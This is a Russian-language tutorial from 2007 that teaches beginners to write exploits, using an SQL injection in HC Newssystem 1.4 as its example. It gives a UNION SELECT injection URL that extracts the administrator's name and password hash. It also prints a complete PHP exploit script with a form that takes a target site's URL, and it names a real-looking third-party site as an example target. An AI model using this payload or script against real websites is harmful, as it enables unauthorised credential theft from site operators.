Сегодня, дорогой читатель, я хочу показать тебе что писать эксплойты не такое сложное занятие как ты думаешь. Ведь что такое exploit ? Это по сути скрипт/программа призванная автоматизировать нашу работу. Писать можно на каком угодно языке, главное чтобы тебе, читатель, было удобно его использовать. В этой статье я буду приводить примеры кода php ибо эксплойт не сложный и на все про все у меня ушло всего лишь 27 строк кода!
В качестве примера уязвимости я решил выбрать не столь давнюю (на момент написания статьи) уязвимость опубликованную на securitylab.ru. Это уязвимость SQL-inj, обнаруженная в системе новостей HC Newssystem 1.4. C описанием баги вы можете ознакомиться тут.
Первым делом заглянем на домашнюю страничку производителя, и качнем оттуда исходник интересующего нас скрипта. Устанавливаем и наслаждаемся!
По совету секлаба попробуем "пощупать" багу:
http://localhost/script/index.php?option=news&aktion=komm&ID="И сразу видим ошибку в hc_newsout.php в строке 497. Исходники то у нас есть, так что мешает нам посмотреть что находится в этой строке? Открываем и видим хитрый запрос:
SELECT * FROM hcnewskommentar WHERE $ID=IDНемного поэкспериментировав получаем нужную строку запроса, которая будет выбирать нам хэш админа:
?option=news&aktion=komm&ID=1=0+UNION+SELECT+null,null,concat(mname,mpassword), null,null,null,null+FROM+hcmitglieder+WHERE+ID=1/*Ну вот и все.. можно приступать к написанию сплоита. Не буду тебя мучить долгими выкладками и сразу приведу весь код:
<font size="2"> <? function get_hash($file){ $file.="?option=news&aktion=komm&ID=1=0+UNION+SELECT". "+null,null,concat(mname,mpassword),null,null,null,null+". "FROM+hcmitglieder+WHERE+ID=1/*"; $page=file($file); foreach($page as $str){ if(strstr($str,"\">Von")){ $str=explode(' ',strip_tags($str)); $str=explode(" ",strip_tags($str)); return $str[3]; } } return "Error"; } if($_POST["url"]){ die(get_hash($_POST["url"])); // результат }else{ ?> <form method="post"> URL скрипта (например: http://www.esv-kicker.de/2006/hcnews2006/) <br /> <input type="text" name="url" /> <input type="submit" value="Exploite" /> </form> <?}?> </font>
Как видишь, наш "exploit" выполнет тоже самое что мыбы делали ручками, но предоставляет нам более приятный интерфейс для этой цели.
Ну вот и все.. Эксплоит готов! Удачи тебе в написании собственных =)
© Cobalt 21.03.2007
Для начинающих пойдёт...